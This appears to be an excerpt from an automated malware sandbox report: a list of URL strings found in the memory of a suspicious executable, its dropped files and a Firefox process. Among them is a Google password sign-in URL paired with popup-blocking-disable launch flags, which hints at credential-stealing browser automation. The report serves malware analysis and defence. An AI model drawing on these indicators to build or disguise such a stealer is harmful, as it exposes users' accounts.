Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000020.00000002.2472749592.000002496405A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000020.00000003.2353417925.00000249697E7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000020.00000002.2463576215.0000024962726000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000020.00000002.2463576215.0000024962726000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000020.00000002.2463576215.0000024962726000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: 51c532c207.exe, 00000019.00000003.2432299803.0000000000536000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2403635763.0000000000538000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://microsoft.co
Source: firefox.exe, 00000020.00000003.2382497677.000002496F799000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000020.00000002.2487781714.0000024966A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2495521645.00000249672E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2488316289.0000024966B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 51c532c207.exe, 00000019.00000003.2432299803.0000000000536000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2403635763.0000000000538000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.coNYQ~i6
Source: firefox.exe, 00000020.00000002.2487781714.0000024966A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000020.00000002.2492265745.0000024967003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-me
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/popupn
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1485297384.0000000005CDF000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2188163430.00000000053C0000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2365497630.000000000514E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000020.00000002.2486283714.0000024966670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000003.2279321057.0000024966D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2280099937.0000024966D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/setShowPictureInPictureMessage
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: 457547ced2.exe, 00000011.00000002.2289356855.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467033519.000002496300E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2353417925.0000024969762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2496660646.000002496742F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000020.00000002.2461740422.0000024958BE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.00000249655D9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000020.00000003.2367566921.000002496AAC1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000020.00000003.2365524342.000002496F425000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2460159881.0000024956F11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: file.exe, 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, file.exe, 00000000.00000003.1504266698.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520824767.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552263422.0000000001640000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552552165.0000000001649000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: firefox.exe, 00000020.00000002.2488316289.0000024966B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180X
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739Microsoft
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: file.exe, 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2190054668.0000000005436000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2383261337.0000000005123000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1504266698.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520824767.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552263422.0000000001640000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552552165.0000000001649000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000020.00000003.2356630299.0000024967BCD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2325885615.000002496AC48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsThe
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2325885615.000002496AC48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: cc6c7213b6.exe, 00000010.00000003.2171127165.00000000051EB000.00000004.00001000.00020000.00000000.sdmp, cc6c7213b6.exe, 00000010.00000002.2217073879.0000000000D4C000.00000040.00000001.01000000.00000010.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000020.00000002.2486283714.0000024966670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000003.2279321057.0000024966D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2280099937.0000024966D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2401775234.0000024966FB5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000020.00000002.2486283714.0000024966670000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000020.00000003.2369164366.000002496F79C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000020.00000003.2370575418.000002496F7BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2369164366.000002496F79C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2376378869.000002496F7EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2373184278.000002496F7D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 00000020.00000002.2498727880.0000024967630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Connecting
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
